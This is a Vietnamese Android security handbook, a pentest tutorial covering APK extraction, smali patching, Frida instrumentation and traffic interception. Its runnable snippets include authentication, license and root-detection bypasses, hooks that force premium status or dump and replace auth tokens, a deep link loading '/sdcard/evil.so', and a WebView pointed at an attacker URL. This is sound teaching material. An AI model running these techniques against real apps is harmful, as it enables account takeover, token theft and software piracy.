

MOBILE SECURITY · ANDROID

# Android Security Handbook

Từ nền tảng đến khai thác, phân tích malware & forensics

---

- 00 Android Fundamentals
- 01 Android Application Static Analysis
- 02 Android Application Dynamic Analysis
- 03 Android Penetration Testing Automation
- 04 Android Attacks — OWASP Mobile Top 10
- 05 Android Application Malware Analysis
- 06 Android Forensics

Tác giả: **callmelam2310**

Bộ tài liệu học tập & tra cứu · 7 module · Tiếng Việt

Định dạng: giải thích kỹ thuật + lệnh/script copy-paste-ready

# Mục lục

Bấm số trang trong trình đọc PDF để nhảy tới mục · outline/bookmark hiển thị đầy đủ cây heading.

|                                                                  |           |
|------------------------------------------------------------------|-----------|
| <b>00 Android Fundamentals</b>                                   | <b>4</b>  |
| 1 · Introduction — About Android · OS                            | 4         |
| 2 · Apps & OS Security — Features · APK Structure                | 4         |
| 3 · Apps & Development — Studio · Native · WebViews · Frameworks | 5         |
| 4 · Components & IPC                                             | 6         |
| 5 · Testing Environment — Emulator · ADB · Methodology           | 7         |
| 6 · Skills Assessment                                            | 7         |
| <b>01 Android Application Static Analysis</b>                    | <b>8</b>  |
| 1 · Extracting & Enumerating APK                                 | 8         |
| 2 · Analyzing Source Code                                        | 9         |
| 3 · Analyzing Native Libraries                                   | 10        |
| 4 · Application Patching                                         | 11        |
| 5 · Skills Assessment                                            | 11        |
| <b>02 Android Application Dynamic Analysis</b>                   | <b>12</b> |
| 1 · Enumerating & Exploiting Installed Apps                      | 12        |
| 2 · Dynamic Code Instrumentation                                 | 13        |
| 3 · Intercepting HTTP/HTTPS                                      | 14        |
| 4 · Skills Assessment                                            | 15        |
| <b>03 Android Penetration Testing Automation</b>                 | <b>16</b> |
| 1 · Tools & Methodology                                          | 16        |
| 2 · Static Tools — MobSF · Quark                                 | 16        |
| 3 · Dynamic Tools — Drozer · Objection · Medusa                  | 17        |
| 4 · Skills Assessment                                            | 18        |
| <b>04 Android Attacks — OWASP Mobile Top 10</b>                  | <b>19</b> |
| 1 · Overview                                                     | 19        |
| 2 · M1-M10 (test & khắc phục)                                    | 19        |
| 3 · Skills Assessment                                            | 21        |
| <b>05 Android Application Malware Analysis</b>                   | <b>22</b> |
| 1 · Types of Malware                                             | 22        |
| 2 · Abusing Permissions                                          | 22        |
| 3 · Advanced — Evasion · Custom VM · OTP                         | 23        |
| 4 · Skills Assessment                                            | 24        |
| <b>06 Android Forensics</b>                                      | <b>25</b> |
| 1 · Tools & Methodologies                                        | 25        |
| 2 · Root Access & Management                                     | 25        |
| 3 · Data Acquisition & Analysis                                  | 26        |

.....

# Android Fundamentals

Nền tảng cho toàn bộ handbook: kiến trúc hệ điều hành, mô hình bảo mật, thành phần & IPC, và môi trường kiểm thử. Nắm chắc quyển này thì các module sau mạch lạc hơn nhiều.

## 1 • Introduction

### About Android

Android là hệ điều hành di động mã nguồn mở dựa trên nhân Linux, xây quanh **AOSP** và thường bổ sung dịch vụ Google (GMS).

- **API Level:** mỗi phiên bản gán một API level (Android 14 = API 34). Manifest khai báo `minSdkVersion` / `targetSdkVersion` — quyết định hành vi bảo mật & bề mặt tấn công của app.
- **Đa dạng OEM/ROM:** khác biệt đường dẫn, cơ chế, mức vá bảo mật.
- **Phân phối:** Google Play (APK/AAB) và sideload.

### Android Operating System

Android là kiến trúc phân tầng; biết một kiểm tra/lỗi hổng nằm ở tầng nào giúp chọn đúng kỹ thuật phân tích.

**Applications** — app hệ thống & app người dùng (APK)  
**Java API Framework** — Activity/Package/Content Manager, View system...  
**Native libs + Android Runtime (ART)** — libc, SSL, SQLite; ART chạy DEX (AOT+JIT)  
**Hardware Abstraction Layer (HAL)** — chuẩn giao tiếp phần cứng  
**Linux Kernel** — tiến trình, bộ nhớ, driver, Binder, SELinux

**Cần nhớ:** ART thay Dalvik, biên dịch bytecode DEX khi cài (AOT) và tối ưu lúc chạy (JIT). **Zygote** là tiến trình mẹ được *fork* ra để tạo mỗi app, nên app khởi động nhanh và chia sẻ runtime. Quan trọng nhất: **mỗi app = một tiến trình + một UID Linux riêng** — đây chính là nền của sandbox.

## 2 • Android Apps & OS Security

### Android Security Features

Mô hình bảo mật nhiều lớp, cốt lõi là cô lập tiến trình & kiểm soát quyền.

| Cơ chế                     | Vai trò                                                                                                     |
|----------------------------|-------------------------------------------------------------------------------------------------------------|
| <b>Application Sandbox</b> | Mỗi app một UID; kernel chặn app này đọc dữ liệu app khác.                                                  |
| <b>Permissions</b>         | Install-time, <b>runtime</b> (quyền nguy hiểm — xin lúc chạy), special (Accessibility, Overlay, All-files). |

|                                 |                                                                            |
|---------------------------------|----------------------------------------------------------------------------|
| <b>SELinux</b>                  | Mandatory Access Control — giới hạn cả tiến trình hệ thống, không chỉ app. |
| <b>Verified Boot</b>            | Đảm bảo chuỗi khởi động toàn vẹn.                                          |
| <b>Encryption (FBE)</b>         | Mã hoá theo file, khoá gắn với thông tin mở khoá của người dùng.           |
| <b>App Signing (v1-v4)</b>      | Chỉ APK cùng chữ ký mới cập nhật được app.                                 |
| <b>Keystore / StrongBox</b>     | Sinh & dùng khoá trong phần cứng bảo mật, app không đọc được khoá thô.     |
| <b>Play Protect / Integrity</b> | Quét mã độc & kiểm chứng toàn vẹn thiết bị/app.                            |

**Vì sao pentester quan tâm:** đa số lỗ hổng mobile là do app *tự phá* mô hình này — export component thừa, lưu dữ liệu ra nơi sandbox không bảo vệ, xin quyền quá rộng, hoặc bỏ kiểm tra chữ ký. Hiểu mô hình = biết chỗ app đi chệch.

## APK Structure

APK bản chất là file ZIP. Nắm cấu trúc để biết mở gì, đọc gì.

| Thành phần                                      | Nội dung                                                                        |
|-------------------------------------------------|---------------------------------------------------------------------------------|
| <code>AndroidManifest.xml</code>                | Khai báo package, permission, components, cờ bảo mật (dạng nhị phân trong APK). |
| <code>classes.dex</code>                        | Bytecode Dalvik (có thể nhiều <code>classesN.dex</code> ).                      |
| <code>resources.arsc</code> , <code>res/</code> | Tài nguyên đã biên dịch & file res.                                             |
| <code>assets/</code>                            | File thô app đọc trực tiếp (JS bundle, model, config).                          |
| <code>lib/&lt;abi&gt;/</code>                   | Thư viện native <code>.so</code> theo kiến trúc CPU.                            |
| <code>META-INF/</code>                          | Chữ ký & kê khai (signing scheme v1).                                           |

```
# Xem cấu trúc thô & metadata
unzip -l app.apk | head
aapt2 dump badging app.apk # package, sdk, permission, launchable-activity
```

## 3 · Android Apps & Development

### Android Studio, Native Apps & Native Code

- **Android Studio:** IDE chính thức, build bằng **Gradle**, quản lý SDK & emulator (AVD). `platform-tools` chứa `adb`.
- **Native apps:** viết bằng **Kotlin/Java** → biên dịch thành DEX chạy trên ART. Logic nằm ở `classes.dex`.
- **Native code:** qua **NDK**, app nhúng C/C++ thành `.so`, gọi từ Java bằng **JNI**. Dùng cho hiệu năng hoặc để *giấu* logic nhạy cảm khỏi decompiler.

### JavaScript & WebViews · Application Frameworks

**WebView** hiển thị nội dung web trong app; app "hybrid" đặt phần lớn UI/logic trong HTML/JS. Nhận diện framework quyết định *nơi cần phân tích*:

| Framework     | Ngôn ngữ    | Logic nằm ở                              |
|---------------|-------------|------------------------------------------|
| Native        | Kotlin/Java | <code>classes.dex</code>                 |
| React Native  | JavaScript  | <code>assets/index.android.bundle</code> |
| Flutter       | Dart        | <code>lib/*/libapp.so</code>             |
| Cordova/Ionic | HTML/JS     | <code>assets/www/</code>                 |
| Xamarin/.NET  | C#          | <code>assemblies/*.dll</code>            |
| Unity         | C# (IL2CPP) | <code>libil2cpp.so</code> + metadata     |

## 4 · Application Components & IPC

Bốn thành phần cốt lõi + cơ chế giao tiếp. Mỗi thành phần **exported** là một điểm vào — nền của mọi kiểm thử IPC.

### Activities · Services · Broadcast Receivers · Content Providers

- **Activity** — một màn hình UI, có vòng đời (`onCreate→onResume→...`). Nếu **exported** / có `intent-filter` → khởi động được từ ngoài, dễ dẫn tới bypass đăng nhập.
- **Service** — xử lý nền, không UI; dạng *started* hoặc *bound* (client kết nối qua Binder). Service exported có thể bị gọi trái phép.
- **Broadcast Receiver** — lắng nghe sự kiện (`BROADCAST_COMPLETED`, `SMS_RECEIVED`). Receiver/broadcast không bảo vệ → có thể bị gửi intent giả để kích hoạt.
- **Content Provider** — chia sẻ dữ liệu qua URI `content://`. Exported & thiếu kiểm soát quyền → SQL injection / path traversal. Mục tiêu IPC "béo bở" nhất.

### Intents · Binders · Deep Links

| Intent          | Đặc điểm                                 | Rủi ro                           |
|-----------------|------------------------------------------|----------------------------------|
| <b>Explicit</b> | Chỉ định component đích tường minh       | An toàn hơn.                     |
| <b>Implicit</b> | Mô tả hành động, hệ thống chọn app xử lý | Có thể bị app khác chặn/giả mạo. |

**Binder** là cơ chế IPC nền tảng của Android ở tầng kernel: mọi tương tác app ↔ system service, và mọi *bound service*, đều đi qua Binder (giao diện thường mô tả bằng **AIDL**). Hiểu Binder giải thích vì sao các component "nói chuyện" được với nhau và ranh giới đặc quyền nằm ở đâu.

**Deep Links: custom scheme** (`app://...`) dễ bị app khác đăng ký trùng để chiếm; **App Links** (`https` + xác minh `assetlinks.json`) an toàn hơn vì ràng buộc domain. Tham số deep link không kiểm soát → mở màn hình nội bộ hoặc nạp URL/lib tùy ý.

```
adb shell am start -a android.intent.action.VIEW -d "app://target/path?x=1"
```

## 5 · Setting Up The Testing Environment

### Android Emulators

Emulator tiện, dễ root & snapshot. Chọn image không có Google Play để dễ có quyền root.

```
# Tạo & chạy AVD từ CLI
sdkmanager "system-images;android-34;google_apis;x86_64"
avdmanager create avd -n test34 -k "system-images;android-34;google_apis;x86_64"
emulator -avd test34 -writable-system # cho remount /system để cài CA...
adb root ; adb remount
```

### Android Debug Bridge (ADB)

Công cụ giao tiếp thiết bị nền tảng — dùng liên tục xuyên suốt mọi module.

```
# Thiết bị & shell
adb devices -l ; adb shell
adb shell pm list packages -3 # app bên thứ 3
adb shell pm path com.target.app
# Cài / kéo-đẩy
adb install -r app.apk ; adb install-multiple base.apk split_*.apk
adb pull /sdcard/f . ; adb push local /sdcard/
# Log & forward cổng (Frida/Drozer)
adb logcat --pid=$(adb shell pidof -s com.target.app)
adb forward tcp:27042 tcp:27042
```

### Application Pentesting — Methodology & Tools

Bức tranh phương pháp buộc toàn bộ handbook lại: **Recon/Static** (Module 01) → **Dynamic** (Module 02) → **Tools** (Module 03) → **map rủi ro OWASP/MASVS** (Module 04) → chuyên sâu **Malware** (05) & **Forensics** (06). Bộ công cụ tương ứng: apktool/jadx/MobSF/Ghidra (static), Frida/Objection/Drozer/Medusa (dynamic), Burp/mitmproxy (network), ADB + emulator/thiết bị root (nền tảng).

## 6 · Skills Assessment

Dựng môi trường, cài & khảo sát một app, xác định thành phần/IPC, dùng ADB thành thạo.

| Bước | Hành động                                       | Công cụ               |
|------|-------------------------------------------------|-----------------------|
| 1    | Dựng emulator/thiết bị, kết nối ADB             | AVD/Genymotion, adb   |
| 2    | Cài app, lấy package & path APK                 | adb install, pm path  |
| 3    | Xem cấu trúc APK & manifest (SDK, permission)   | unzip, aapt2, apktool |
| 4    | Liệt kê components exported & attack surface    | manifest, Drozer      |
| 5    | Nhận diện framework (native/RN/Flutter/...)     | unzip, file           |
| 6    | Quan sát log & khởi động thử activity/deep link | logcat, am start      |

#### Tổng kết module

Mọi kỹ thuật sau đều đứng trên nền này: **kiến trúc** (lỗ hổng ở tầng nào), **mô hình bảo mật** (app phá vỡ ở đâu), **components & IPC** (điểm vào), và **ADB + môi trường** (cách chạm tới app).

# Android Application Static Analysis

Đọc app mà không chạy: trích xuất → đọc mã (kể cả hybrid/native/obfuscated) → sửa mã để vượt kiểm tra. Kỹ năng lõi là biết *logic quan trọng nằm ở đâu* và chọn đúng công cụ.

## 1 · Extracting and Enumerating APK Files

### Lấy APK từ thiết bị

EXTRACT

Android hiện đại thường tách app thành nhiều APK (split). Cần lấy đúng & đủ.

```
adb shell pm list packages -3 | grep -i target
adb shell pm path com.target.app          # base.apk + split_config.* nếu có
adb pull /data/app/~~xxxx==/com.target.app-yyy==/base.apk .
```

**Split APKs:** `base.apk` chứa code chính; các `split_config.*` tách theo ABI/ngôn ngữ/DPI. Khi cài lại dùng `adb install-multiple`; khi phân tích, code Dalvik nằm ở base.

### Giải nén & decompile

EXTRACT

| Công cụ                    | Cho ra                            | Dùng khi                                    |
|----------------------------|-----------------------------------|---------------------------------------------|
| <b>apktool</b>             | Smali + resources/manifest decode | Patching, đọc manifest, build lại.          |
| <b>jadx / jadx-gui</b>     | Mã Java gần-nguồn từ DEX          | Đọc logic, tìm secret, theo vết hàm (xref). |
| <b>aapt2 / apkanalyzer</b> | Metadata (badging, permission)    | Enumerate nhanh, không cần decompile.       |

```
apktool d base.apk -o base_apktool      # smali + resource
jadx base.apk -d base_jadx              # mã Java
jadx-gui base.apk                      # GUI: tìm kiếm & xem xref
```

**Smali vs Java:** apktool cho *smali* (assembly của Dalvik) — chính xác, dùng để **sửa & build lại**. jadx cho *Java* — dễ đọc hơn để **hiểu logic**, nhưng là bản dựng lại nên có thể sai lệch nhỏ. Thực tế dùng jadx để đọc, apktool để vá.

### Enumerate Manifest & attack surface

EXTRACT

```
grep -nE 'android:exported="true"|intent-filter' base_apktool/AndroidManifest.xml
grep -n 'uses-permission' base_apktool/AndroidManifest.xml
```

Soi: component `exported`, cờ rủi ro (`debuggable`, `allowBackup`, `usesCleartextTraffic`, thiếu `networkSecurityConfig`), permission nguy hiểm, min/target SDK.



## 2 · Analyzing Application's Source Code

### Reading Hardcoded Strings

[SOURCE](#)

Secret hardcode (API key, token, endpoint, flag) là finding phổ biến nhất — có APK là lấy được.

```
grep -rniE "password|api[_-]?key|secret|token|Basic [A-Za-z0-9+/=]{8,}" base_jadx/  
grep -rniE "https?://|amazonaws|firebaseio" base_jadx/  
strings base.apk | grep -iE "BEGIN RSA|AKIA|eyJ"
```

#### False positive

Nhiều "key" là id resource công khai hoặc key public hợp lệ — xác minh ngữ cảnh dùng trước khi báo cáo.

### Bad Cryptography Implementation

[SOURCE](#)

| Anti-pattern   | Dấu hiệu                                        | Rủi ro                          |
|----------------|-------------------------------------------------|---------------------------------|
| ECB mode       | <code>Cipher.getInstance("AES/ECB/...")</code>  | Lộ pattern plaintext, không IV. |
| Key/IV cứng    | <code>SecretKeySpec("static").getBytes()</code> | Ai có APK cũng giải mã được.    |
| Thuật toán yếu | DES, RC4, MD5, SHA1                             | Bị phá / va chạm.               |
| PRNG kém       | <code>java.util.Random</code> cho token/IV      | Đoán được.                      |

```
grep -rniE "AES/ECB|DESede?|MD5|SHA-?1|new Random\\(|SecretKeySpec|IvParameterSpec" base_jadx/
```

### Reversing Hybrid Apps

[SOURCE](#)

App hybrid không giữ logic trong DEX. Xác định framework rồi phân tích đúng nơi.

| Framework      | Logic ở                           | Cách đọc                                                                       |
|----------------|-----------------------------------|--------------------------------------------------------------------------------|
| Cordova/Ionic  | <code>assets/www/</code>          | Đọc trực tiếp; beautify JS.                                                    |
| React Native   | <code>index.android.bundle</code> | Hermes → <code>hbctool</code> / <code>hermes-dec</code> ; plain JS → beautify. |
| Flutter        | <code>libapp.so</code> (Dart AOT) | <code>reFlutter</code> / <code>blutter</code> .                                |
| WebView bridge | DEX + web assets                  | Soi <code>@JavascriptInterface</code> .                                        |

```
unzip -l base.apk | grep -iE "www/|index.android.bundle|libapp.so|libflutter"
```

### Reading & Deobfuscating Code

[SOURCE](#)

Obfuscation làm chậm chứ không chặn phân tích. Nhận diện kiểu để chọn cách gỡ.

- **Renaming** (ProGuard/R8): class/method thành `a,b,c` — vẫn đọc được logic.
- **String encryption** (DexGuard/Allatori): chuỗi mã hoá, giải tại runtime bằng 1 hàm decrypt → tìm hàm đó.
- **Reflection**: gọi method qua `invoke()` để giấu API thật.
- **Native shift**: đẩy logic quan trọng xuống `.so` (mục kế).

| Tình huống                  | Cách gỡ                                                          |
|-----------------------------|------------------------------------------------------------------|
| Có <code>mapping.txt</code> | <b>ReTrace</b> phục hồi tên gốc.                                 |
| Renaming đơn thuần          | jadx <code>--deobf</code> ; rename theo ngữ cảnh trong jadx-gui. |
| String encryption           | Trích hàm decrypt, chạy lại (Frida/Python) giải hàng loạt.       |
| Reflection / rác smali      | <b>Simplify</b> / <b>dex-oracle</b> nội suy hằng số.             |

**Chiến lược thực dụng:** đừng gỡ toàn bộ. Xác định *mục tiêu* (hàm auth, hàm decrypt secret) rồi chỉ gỡ quanh đó; kết hợp static (jadx) + dynamic (Frida) thường nhanh hơn nhiều so với gỡ thuần static.

## 3 · Analyzing Native Libraries

### Reversing Shared Objects (.so)

REVERSE

Logic nhạy cảm (crypto, license, anti-tamper) thường bị đẩy xuống native qua JNI. `.so` là ELF ARM/ARM64 — reverse bằng Ghidra/IDA/radare2.

**JNI hoạt động sao:** Java gọi `System.loadLibrary("foo")` nạp `libfoo.so`. Hàm native được liên kết theo **tên** ( `Java_<pkg>_<Class>_<method>` , gọi là *static registration*) hoặc đăng ký động qua `JNI_OnLoad` → `RegisterNatives` (tên bị ẩn, phải đọc bằng đăng ký).

```
file lib/arm64-v8a/libfoo.so
nm -D --defined-only lib/arm64-v8a/libfoo.so | grep -i Java_ # hàm JNI export
strings -n 6 lib/arm64-v8a/libfoo.so | grep -iE "http|key|data/"
```

**Ghidra:** Import → Auto-analyze → tìm `Java..._method` hoặc mở `JNI_OnLoad` lần `RegisterNatives` → đọc pseudo-C. Logic phức tạp → xác minh động bằng Frida (Module 02).

### Reversing DLL Files

REVERSE

App Xamarin/.NET hoặc Unity chứa managed code trong `.dll` (IL) thay vì DEX — cách reverse hoàn toàn khác.

| Loại         | File cần                                                     | Công cụ                                                    |
|--------------|--------------------------------------------------------------|------------------------------------------------------------|
| Xamarin/.NET | <code>assemblies/*.dll</code> (có thể nén XALZ)              | giải nén → <b>dnSpy/ILSpy</b> đọc gần như C# gốc.          |
| Unity IL2CPP | <code>libil2cpp.so</code> + <code>global-metadata.dat</code> | <b>IL2CppDumper</b> khôi phục symbol → nạp vào Ghidra/IDA. |

**IL2CPP là gì:** Unity dịch C# → C++ rồi biên dịch vào `libil2cpp.so`, nên decompiler C++ thấy hàm nhưng mất tên. `global-metadata.dat` giữ tên class/method; IL2CppDumper ghép chúng lại để bạn đọc được ý nghĩa.

```
Il2CppDumper libil2cpp.so global-metadata.dat out_dir # dump.cs + script nạp symbol
```

## 4 · Application Patching

Patch tĩnh = sửa smali → build → **ký lại**. Dùng chứng minh thiếu anti-tamper trong pentest có uỷ quyền (hoặc CTF/lab).

```
apktool d target.apk -o work          # 1) decompile
# 2) sửa smali (các ca bên dưới)
apktool b work -o patched.apk         # 3) build
java -jar uber-apk-signer.jar -a patched.apk --allowResign # 4) ký
adb install -r patched-*-signed.apk   # 5) cài
```

### Bắt buộc ký lại

Android từ chối APK sai chữ ký. App có kiểm tra signature (anti-tamper) thì phải vá cả phần đó, hoặc chuyển sang Frida (Module 02).

## Các ca patch điển hình

PATCH

| Mục tiêu                    | Cách patch smali                                                                                          |
|-----------------------------|-----------------------------------------------------------------------------------------------------------|
| Authentication bypass       | Hàm <code>checkPin()Z</code> / <code>isValidUser()Z</code> → ép <code>const/4 v0,0x1 ; return v0</code> . |
| Modifying game apps         | Đổi hằng số (coins <code>0x64</code> → <code>0xf423f</code> ); vô hiệu phép trừ tiền/mạng.                |
| License verification bypass | Ép callback gọi nhánh <code>allow()</code> / <code>isLicensed()Z</code> → true.                           |
| Root detection bypass       | <code>isRooted()Z</code> → <code>const/4 v0,0x0 ; return v0</code> .                                      |

**Đọc smali return boolean:** `Z` ở cuối chữ ký = kiểu `boolean`. `const/4 v0,0x1` nạp giá trị 1 (true) vào thanh ghi `v0`, rồi `return v0`. Đây là mẫu patch "ép true/false" áp cho hầu hết kiểm tra bảo mật client-side.

## 5 · Skills Assessment

Nhận một APK có thể có obfuscation, logic native, và cơ chế cần vượt — tìm secret/flag ẩn.

| Bước | Hành động                                 | Công cụ                   |
|------|-------------------------------------------|---------------------------|
| 1    | Pull & gộp split, decompile, enumerate    | adb, apktool, jadx        |
| 2    | Săn hardcoded / endpoint / crypto yếu     | grep, jadx-gui            |
| 3    | Hybrid? → đọc JS/Dart/DLL đúng chỗ        | hbctool, reFlutter, dnSpy |
| 4    | Obfuscated? → deobfuscate quanh mục tiêu  | jadx --deobf, Simplify    |
| 5    | Logic ẩn native? → reverse .so / IL2CPP   | Ghidra, IL2CppDumper      |
| 6    | Cần vượt kiểm tra? → patch smali & ký lại | apktool, uber-apk-signer  |

### Tổng kết module

Static analysis là "đọc app mà không chạy". Biết logic ở đâu (DEX? .so? .dll? JS bundle?) và chọn đúng công cụ, thay vì dùng ở lớp DEX bề mặt.

# Android Application Dynamic Analysis

Quan sát & can thiệp app lúc chạy để *chứng minh* điều static chỉ nghi ngờ. Ba trụ cột: enumerate app đã cài, instrument bằng Frida, và intercept mạng. Yêu cầu: thiết bị root + frida-server + Burp.

## 1 · Enumerating and Exploiting Installed Apps

### CHUẨN BỊ

```
adb shell "su -c /data/local/tmp/frida-server &"
frida-ps -U | grep target      # thấy tiến trình app
```

### Local Storage · Exported Activities · Insecure Logging

ENUM

**Local storage** — `/data/data/<pkg>/` thường chứa token/PII plaintext:

```
adb shell "su -c 'ls -laR /data/data/com.target.app'"
objection -g com.target.app explore
obj> file download databases/app.db ./app.db
sqlite3 app.db ".tables" ; strings app.db | grep -iE "token|pin|card"
```

**Exported activities** — khởi động trực tiếp để bỏ qua đăng nhập:

```
adb shell am start -n com.target.app/.DashboardActivity
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker/x"
```

**Insecure logging** — bắt dữ liệu nhạy cảm qua logcat, hoặc hook `Log.*`:

```
adb logcat --pid=$(adb shell pidof -s com.target.app) | grep -iE "token|otp|card"
```

### Pending Intents

ENUM

**Bản chất:** `PendingIntent` là "phiếu uỷ quyền" cho app khác thực thi một intent **với danh tính/quyền của app tạo ra nó**. Nếu base intent để *implicit* hoặc gắn cờ `FLAG_MUTABLE` (API 31+) và bị lộ ra ngoài (qua notification/IPC), kẻ tấn công điển phần còn thiếu của intent → hành động chạy dưới danh nghĩa app nạn nhân, kế thừa quyền của nó.

```
grep -rniE "PendingIntent.get(Activity|Service|Broadcast)|FLAG_MUTABLE|FLAG_IMMUTABLE" jadx_out/
```

### Exploiting WebViews

ENUM

| Cấu hình nguy hiểm                                                      | Hệ quả                         |
|-------------------------------------------------------------------------|--------------------------------|
| <code>setJavaScriptEnabled(true)</code> + URL ngoài                     | XSS trong WebView.             |
| <code>addJavascriptInterface</code> + <code>@JavascriptInterface</code> | JS gọi hàm native → RCE/exfil. |

```
AllowFileAccess/UniversalAccessFromFileURLs
```

Đọc file nội bộ qua `file://`.

```
grep -rniE "setJavaScriptEnabled|addJavascriptInterface|@JavascriptInterface|AllowFileAccess"  
jadx_out/
```

## Insecure Library Load Through Deep Linking

ENUM

**Chuỗi khai thác:** nếu một tham số deep link chảy vào đường dẫn dùng cho `System.load(path)`, kẻ tấn công đặt `.so` độc ở nơi ghi được (vd `/sdcard`) rồi kích hoạt deep link trỏ tới nó → app nạp thư viện của attacker → thực thi mã. Đây là lỗi validation + tin tưởng binary sai chỗ.

```
grep -rniE "scheme=|System.load\\(|loadLibrary\\(" jadx_out/ work/AndroidManifest.xml  
adb shell am start -a android.intent.action.VIEW -d "app://load?lib=/sdcard/evil.so" com.target.app
```

## 2 · Dynamic Code Instrumentation

Dùng **Frida** hook & sửa hành vi lúc chạy. Chạy: `frida -U -f com.target.app -l hook.js` (spawn) hoặc `-n` (attach).

### Hooking Java Methods

INSTRUMENT

```
// hook.js – log tham số & kết quả  
Java.perform(function () {  
  var Login = Java.use('com.target.app.LoginManager');  
  Login.checkPin.overload('java.lang.String').implementation = function (pin) {  
    console.log('[*] checkPin("' + pin + '")');  
    var ret = this.checkPin(pin);    // gọi bản gốc  
    console.log('[*] => ' + ret);  
    return ret;  
  };  
});
```

**Vì sao cần `.overload(...)`** : khi một method có nhiều biến thể (nạp chồng), phải chỉ đúng chữ ký tham số để Frida biết hook cái nào. `this.checkPin(pin)` vẫn gọi bản gốc, cho phép bạn *quan sát* trước khi quyết định sửa.

### Altering Method Values

INSTRUMENT

```
// Ép kiểm tra boolean & sửa đối số  
Java.perform(function () {  
  Java.use('com.target.app.Account').isPremium.implementation = function(){ return true; };  
  Java.use('com.target.app.SecurityManager').verifyLicense.implementation = function(){ return true; };  
});
```

### Hooking Native Methods

INSTRUMENT

```
// Hook hàm JNI export theo tên  
var addr = Module.findExportByName('libnative.so', 'Java_com_target_app_Crypto_verify');  
Interceptor.attach(addr, {
```

```

onEnter: function (args) { this.input = args[2]; }, // args[0]=JNIEnv,1=jobject
onLeave: function (retval) { console.log('ret='+retval); retval.replace(0x1); }
});
// Hàm KHÔNG export → hook theo offset:
var base = Module.findBaseAddress('libnative.so');
Interceptor.attach(base.add(0x1a2b0), { onEnter: function(a){} });

```

**onEnter/onLeave:** chặn lúc vào hàm (đọc/sửa đối số qua `args[]`) và lúc ra (đọc/thay giá trị trả về qua `retval.replace()`). Với hàm không export, lấy offset từ Ghidra (Module 01) rồi cộng vào base address.

## Bypassing Detection · Token Manipulation

INSTRUMENT

```

// Bypass root/debug detection
Java.perform(function () {
  try { Java.use('com.target.app.security.RootDetector').isDeviceRooted.implementation=function()
{return false;}; } catch(e){}
  Java.use('android.os.Debug').isDebuggerConnected.implementation=function(){return false;};
});
// Lộ / thay token xác thực
Java.perform(function () {
  var TM = Java.use('com.target.app.auth.TokenManager');
  TM.getAccessToken.implementation = function () {
    var t = this.getAccessToken(); console.log('[token] '+t); return t; // hoặc return "<token
khác>"
  };
});

```

```

# Cách nhanh bằng Objection
obj> android root disable ; android sslpinning disable

```

## 3 · Intercepting HTTP/HTTPS Requests

### Intercepting API Calls

NETWORK

Đưa traffic qua proxy (Burp/mitmproxy) & cài CA của proxy để app tin.

```

# Cài CA Burp làm system CA (thiết bị root)
openssl x509 -inform der -in cacert.der -out cacert.pem
HASH=$(openssl x509 -inform pem -subject_hash_old -in cacert.pem | head -1)
adb shell "su -c 'cp /sdcard/cacert.pem /system/etc/security/cacerts/$HASH.0'"

```

#### Không thấy traffic?

Thường do **certificate pinning** (mục cuối). Nếu vẫn trống sau khi bỏ pinning Java → có thể pinning ở tầng native (BoringSSL).

### IDOR Attack

NETWORK

**IDOR** = Insecure Direct Object Reference: server trả dữ liệu theo ID trong request mà *không kiểm tra quyền sở hữu*. Đổi **1001→1002** mà thấy dữ liệu người khác = lỗ hổng. Với fintech, IDOR trên endpoint tài khoản/giao dịch là nghiêm trọng nhất nhóm authZ.

```
curl -H "Authorization: Bearer <tokenA>" https://api.target/accounts/1001
curl -H "Authorization: Bearer <tokenA>" https://api.target/accounts/1002 # của B?
```

## SSL/TLS Certificate Pinning Bypass

NETWORK

**Pinning là gì:** app chỉ tin đúng cert/khoá công khai đã "ghim" sẵn, nên dù CA của Burp được cài, app vẫn từ chối → proxy không đọc được. Bypass = hook các điểm kiểm tra để chấp nhận cert của proxy.

| Cách                                                         | Khi nào                         |
|--------------------------------------------------------------|---------------------------------|
| <code>objection ... android sslpinning disable</code>        | Đa số pinning tầng Java/OkHttp. |
| Frida <code>frida-multiple-unpinning</code>                  | Nhiều tầng/framework.           |
| Patch <code>network_security_config</code> /TrustManager     | Khi không dùng Frida.           |
| Hook native BoringSSL <code>SSL_CTX_set_custom_verify</code> | Pinning tầng native/Flutter.    |

## 4 · Skills Assessment

| Bước | Hành động                                        | Công cụ                |
|------|--------------------------------------------------|------------------------|
| 1    | Enumerate storage/log/exported/WebView/deep link | Objection, adb, grep   |
| 2    | Bypass root/frida/debug detection                | Objection, Frida       |
| 3    | Hook Java/Native lộ & sửa logic                  | Frida                  |
| 4    | Bỏ SSL pinning, đưa traffic qua proxy            | Objection/Frida + Burp |
| 5    | Thao túng token & test IDOR                      | Frida + Burp Repeater  |

### Tổng kết module

Nguyên tắc vàng cho fintech: mọi kiểm tra bảo mật quan trọng phải ở **server**; thứ gì chỉ nằm ở client đều hook & bypass được.

# Android Penetration Testing Automation

Bộ công cụ vận hành hoá kỹ năng static & dynamic: MobSF, Quark (static); Drozer, Objection, Medusa (dynamic). Thành thạo là khi chuyển mượt giữa hai trục theo giả thuyết, không chạy công cụ máy móc.

## 1 · Tools & Methodology

Quy trình hiệu quả là vòng lặp: static triage → đặt giả thuyết → dynamic verify → bypass phòng vệ → document (map MASVS/MASTG).

| Trục           | App không chạy / đang chạy  | Công cụ                   |
|----------------|-----------------------------|---------------------------|
| <b>Static</b>  | Đọc APK/DEX/manifest        | MobSF, Quark              |
| <b>Dynamic</b> | Chạy trên thiết bị/emulator | Drozer, Objection, Medusa |

### FRIDA SERVER (NỀN CHO DYNAMIC)

```
adb push frida-server /data/local/tmp/ ; adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &"
frida-ps -U | head
```

## 2 · Static Tools

### MobSF — Mobile Security Framework

STATIC

Báo cáo static tổng thể nhanh nhất: manifest, permission, chứng chỉ, secrets, code analysis, mapping MASVS. Điểm khởi đầu mọi engagement.

```
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# mở http://localhost:8000 → kéo-thả APK
```

Đọc theo ưu tiên: **Security Score** → **Manifest Analysis** (exported, debuggable, allowBackup) → **Code Analysis** (hardcoded, crypto yếu, WebView) → **Secrets/URLs** → **MASVS mapping**.

**Điểm mù:** MobSF không thấy code tải động (DexClassLoader) hay logic native phức tạp; nhiều "secret" là false positive. Luôn xác minh thủ công & bổ sung dynamic.

```
# REST API để tự động hoá (CI/CD)
curl -F "file=@app.apk" $BASE/upload -H "Authorization:$APIKEY"
